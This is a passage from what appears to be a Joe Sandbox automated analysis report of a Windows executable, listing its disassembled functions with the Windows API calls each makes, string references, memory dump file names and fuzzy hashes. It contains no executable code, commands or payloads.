IIDFromString.OLE32 ref: 00007FF697BB48EF
CoCreateInstance.OLE32 ref: 00007FF697BB4931
SetErrorMode.KERNEL32 ref: 00007FF697BB496D
GetProcAddress.KERNEL32 ref: 00007FF697BB4983
SetErrorMode.KERNEL32 ref: 00007FF697BB4A15

Strings

DllGetClassObject, xrefs: 00007FF697BB4973

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: From$ErrorModeProg$AddressCreateFreeInstanceProcStringTasklstrcmpi
String ID: DllGetClassObject
API String ID: 668425406-1075368562
Opcode ID: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction ID: dadd957f74fe716f178826b549468be5feb660f0db6f38c3abb9010666ca125a
Opcode Fuzzy Hash: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction Fuzzy Hash: 31517C72A08B8696EB249F26E98437963A0FB46BC4F148175DF8D87A49DF7CF064C704

Function 00007FF697BE9248 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF697BE928B
GetWindowLongW.USER32 ref: 00007FF697BE9313
SendMessageW.USER32 ref: 00007FF697BE935A
SendMessageW.USER32 ref: 00007FF697BE9389
GetWindowLongW.USER32 ref: 00007FF697BE93A0
SetWindowLongPtrW.USER32(?,?,?,00007FF697BEDF83), ref: 00007FF697BE93C4

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: LongMessageSendWindow
String ID:
API String ID: 3360111000-0
Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction ID: 95184b7287141acade89ea6041d5d2dd6e07557cbc718382fc934101535b8869
Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction Fuzzy Hash: C3414C36A19A4981EB708F1AE49067C33A1EFC5FD4F5541B2CE1E87BA8CE3DE4858341

Function 00007FF697BD37A8 Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BD5E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF697BD37FB), ref: 00007FF697BD5E4D

socket.WSOCK32 ref: 00007FF697BD3827
WSAGetLastError.WSOCK32 ref: 00007FF697BD3836

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction ID: 8cc19a536ce329450584b97f845d3ef1e34d557e98f3b9e5a75a23f66bc8eba1
Opcode Fuzzy Hash: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction Fuzzy Hash: 4D41A272A0868286E7309F25E4482AD7760FB46BE4F5042B1DE5E8379ACF3CD545C704

Function 00007FF697BEA884 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00007FF697BEA8D1
SetMenu.USER32 ref: 00007FF697BEA8E4
GetMenuItemInfoW.USER32 ref: 00007FF697BEA977
IsMenu.USER32 ref: 00007FF697BEA991
CreatePopupMenu.USER32 ref: 00007FF697BEA99B
InsertMenuItemW.USER32 ref: 00007FF697BEA9D1
DrawMenuBar.USER32 ref: 00007FF697BEA9DA

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID:
API String ID: 161812096-0
Opcode ID: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
Instruction ID: d465ce0253563dd06438cf62b39ee3851134a2e8781a8c5bd88feb7c240946ce
Opcode Fuzzy Hash: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
Instruction Fuzzy Hash: 5D414A3AA05B0585EB60CF22D8816BC37A5FB45BD8F1580B6DE4E83768CF38D445C740

Function 00007FF697BE15C4 Relevance: 10.6, APIs: 7, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32 ref: 00007FF697BE161B
RegOpenKeyExW.ADVAPI32 ref: 00007FF697BE164F
FreeLibrary.KERNEL32 ref: 00007FF697BE1742

Part of subcall function 00007FF697BE15C4: RegCloseKey.ADVAPI32 ref: 00007FF697BE1675
Part of subcall function 00007FF697BE15C4: FreeLibrary.KERNEL32 ref: 00007FF697BE16D5
Part of subcall function 00007FF697BE15C4: RegEnumKeyExW.ADVAPI32 ref: 00007FF697BE1712

RegDeleteKeyW.ADVAPI32 ref: 00007FF697BE16C1

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
Instruction ID: f3e13a2b0d86279b0a754af43fabbc1ec78dc3d2d0af23161fe1545c2c065b12
Opcode Fuzzy Hash: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
Instruction Fuzzy Hash: BC41AF36618B8986E730CF11E4547FA63A0FF8AB88F5401B1EA8D86A58CF3DC549C740

Function 00007FF697BB4FCC Relevance: 10.6, APIs: 7, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF697BB5028
MultiByteToWideChar.KERNEL32 ref: 00007FF697BB5059
SysAllocString.OLEAUT32 ref: 00007FF697BB5062
SysAllocString.OLEAUT32 ref: 00007FF697BB5086
SysFreeString.OLEAUT32 ref: 00007FF697BB5092
StringFromGUID2.OLE32 ref: 00007FF697BB50B0
SysAllocString.OLEAUT32 ref: 00007FF697BB50BF

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: f21550a20849581d29996fe50c4ece6234e076094f6ba7ae14899650e1c4ede6
Instruction ID: f4e0c945045019313cb526c917ae61700d4db9dcb0b999bb33cfdba2a969280c
Opcode Fuzzy Hash: f21550a20849581d29996fe50c4ece6234e076094f6ba7ae14899650e1c4ede6
Instruction Fuzzy Hash: 5F31AF35B08B4689DB709F16E48416973A0FF86FE0F888276DE5E83798DE3CE4449304

Function 00007FF697BBFAFC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF697BBFB23
CreatePipe.KERNEL32 ref: 00007FF697BBFB6F

Strings

nul, xrefs: 00007FF697BBFBB3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction ID: e96733d15381c04b3f41e183456488f8b4155b0e3e3aadb9d6e0698063aec404
Opcode Fuzzy Hash: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction Fuzzy Hash: 05313A72E18A468AEB309F24E45436963A0EF86BB8F500374EE6D867D8CF3DE4458701

Function 00007FF697BBF9EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF697BBFA11
CreatePipe.KERNEL32 ref: 00007FF697BBFA5D

Strings

nul, xrefs: 00007FF697BBFA99

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction ID: e69ac745c5eaa7fbfe197bb78d68fc1429550f823eaaa16a31ae0b896371b762
Opcode Fuzzy Hash: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction Fuzzy Hash: C5214C32E18A4686EB249F24E45437963A0FB86BB8F504375DF6E867D9DF7CE0448700

Function 00007FF697B48F40 Relevance: 9.2, APIs: 6, Instructions: 246COMMON

Download Yara Rule

APIs

GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF697B48EBA), ref: 00007FF697B48F7D
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF697B48EBA), ref: 00007FF697B48FBF
ScreenToClient.USER32 ref: 00007FF697B48FE5
GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF697B48EBA), ref: 00007FF697B49175
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF697B48EBA), ref: 00007FF697B4919E
GetSystemMetrics.USER32 ref: 00007FF697B8E005

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Rect$Client$Window$MetricsScreenSystem
String ID:
API String ID: 3220332590-0
Opcode ID: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction ID: 3be9d12021c659eca55e0aa75cf960ad5530555a980317f17849b5e586e925ec
Opcode Fuzzy Hash: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction Fuzzy Hash: 42A1C37AA182938AE7348F7684447BD33B1FF45B98F141536EE19D7A98EE3D9840E310

Function 00007FF697B6A054 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 492COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B6A08F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B6A460
_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B6A701

Strings

p, xrefs: 00007FF697B6A19C
f, xrefs: 00007FF697B6A194

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p
API String ID: 3215553584-1290815066
Opcode ID: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction ID: 17f598e54c8c78f62c648af68e89eda8af0d455002ecd56850dc527fcffe74a8
Opcode Fuzzy Hash: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction Fuzzy Hash: 55127F32E1825386FF309F14A04677A7662FB42BB4F944272D799866CCDF3DE6809B01

Function 00007FF697BBD1F0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BBCA34: GetFullPathNameW.KERNEL32 ref: 00007FF697BBCA62

Part of subcall function 00007FF697BBCA34: GetFullPathNameW.KERNEL32 ref: 00007FF697BBCA77

Part of subcall function 00007FF697BBCED4: GetFileAttributesW.KERNEL32 ref: 00007FF697BBCED8

lstrcmpiW.KERNEL32 ref: 00007FF697BBD277
MoveFileW.KERNEL32 ref: 00007FF697BBD2AA
wcscat.LIBCMT ref: 00007FF697BBD2FB
wcscat.LIBCMT ref: 00007FF697BBD30E
wcscat.LIBCMT ref: 00007FF697BBD324
SHFileOperationW.SHELL32 ref: 00007FF697BBD43E

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 564229958-0
Opcode ID: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
Instruction ID: 9edb4ad954e08b0ebe9efcbf0f2840c8f871bdc270da8ff14d93c69cc0a2622a
Opcode Fuzzy Hash: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
Instruction Fuzzy Hash: D7515532A14A8295EB30DF60D8902ED6364FF95BC4F800172EA4D9769EDFA8E749C740

Function 00007FF697B4D4CC Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

True, xrefs: 00007FF697B99C97
%.15g, xrefs: 00007FF697B4D554
0x%p, xrefs: 00007FF697B99CB4
False, xrefs: 00007FF697B99C90

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: %.15g$0x%p$False$True
API String ID: 0-2263619337
Opcode ID: 3df143d41b72c37e8d3401a32f1c040a903f4fba463ccff2488bc58be4e83188
Instruction ID: 53ab62f33709693129620a9c3b963be34bebd6bf6a078beca3cdcf578bb46815
Opcode Fuzzy Hash: 3df143d41b72c37e8d3401a32f1c040a903f4fba463ccff2488bc58be4e83188
Instruction Fuzzy Hash: 9F518832B09A0285EB30DF69E4441BC33A5FB96BD8F1485B5DA1E87B9DDE39E505C340

Function 00007FF697B41E04 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B42A54: GetWindowLongPtrW.USER32 ref: 00007FF697B42A71

BeginPaint.USER32 ref: 00007FF697B41E4C
GetWindowRect.USER32 ref: 00007FF697B41EB7
ScreenToClient.USER32 ref: 00007FF697B41EDE
SetViewportOrgEx.GDI32 ref: 00007FF697B41EF9
EndPaint.USER32 ref: 00007FF697B41F5A
Rectangle.GDI32 ref: 00007FF697B8A458

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
String ID:
API String ID: 2592858361-0
Opcode ID: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction ID: e24e123ed197ba832108b087f8ef8fdc5d9270b145d643d3d70a314bb6d32598
Opcode Fuzzy Hash: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction Fuzzy Hash: 9F516A36B0869686EB309F15E4447BD27A0FB8AFD4F1442B5CAAD87B99CF7CE4419700

Function 00007FF697B71E74 Relevance: 9.1, APIs: 6, Instructions: 56threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B71E90
CreateThread.KERNEL32 ref: 00007FF697B71ED4
GetLastError.KERNEL32 ref: 00007FF697B71EE2
CloseHandle.KERNEL32 ref: 00007FF697B71F01
FreeLibrary.KERNEL32 ref: 00007FF697B71F10
ResumeThread.KERNEL32 ref: 00007FF697B71F33

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Thread$CloseCreateErrorFreeHandleLastLibraryResume_invalid_parameter_noinfo
String ID:
API String ID: 2082702847-0
Opcode ID: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction ID: a4eb753ea832ea209bf4579611894a012e2381928db9e988af9478d2cd752503
Opcode Fuzzy Hash: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction Fuzzy Hash: 3A218E35A09B4682EE349F60A4102796290EF86BF4F5407B4DA3D86BDCDF3CE4048610

Function 00007FF697BB2240 Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF697BB226B
GetDeviceCaps.GDI32 ref: 00007FF697BB227C
GetDeviceCaps.GDI32 ref: 00007FF697BB228C
ReleaseDC.USER32 ref: 00007FF697BB2299
MulDiv.KERNEL32 ref: 00007FF697BB22AC
MulDiv.KERNEL32 ref: 00007FF697BB22BE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction ID: 64b9b192bf5b04b619f431de32cce91b57f848b1573e81f77277357041eb03bf
Opcode Fuzzy Hash: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction Fuzzy Hash: 2F11A039B14B0182EB28DF65A8480297BA5FF89FC0F018079CE1E87B98DE3DE8018700

Function 00007FF697BBDA1C Relevance: 9.0, APIs: 6, Instructions: 34windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 00007FF697BBDA2F
SendMessageTimeoutW.USER32 ref: 00007FF697BBDA5C
GetWindowThreadProcessId.USER32 ref: 00007FF697BBDA6F
OpenProcess.KERNEL32 ref: 00007FF697BBDA81
TerminateProcess.KERNEL32 ref: 00007FF697BBDA8F
CloseHandle.KERNEL32 ref: 00007FF697BBDA98

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction ID: 71c1289da0681fe55e1165f9c4c51335f1628c5be76b2754f764fc42b5c07162
Opcode Fuzzy Hash: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction Fuzzy Hash: 32018F3AA1974183EB20AF25E804A29B761FF8ABD5F455034CA0A46B18DF3CD1488B00

Function 00007FF697BAF378 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32 ref: 00007FF697BAF3A8
GetWindowThreadProcessId.USER32 ref: 00007FF697BAF3B8
GetCurrentThreadId.KERNEL32 ref: 00007FF697BAF3C0
GetWindowThreadProcessId.USER32 ref: 00007FF697BAF3D0
GetCurrentThreadId.KERNEL32 ref: 00007FF697BAF3D8
AttachThreadInput.USER32 ref: 00007FF697BAF3E5

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
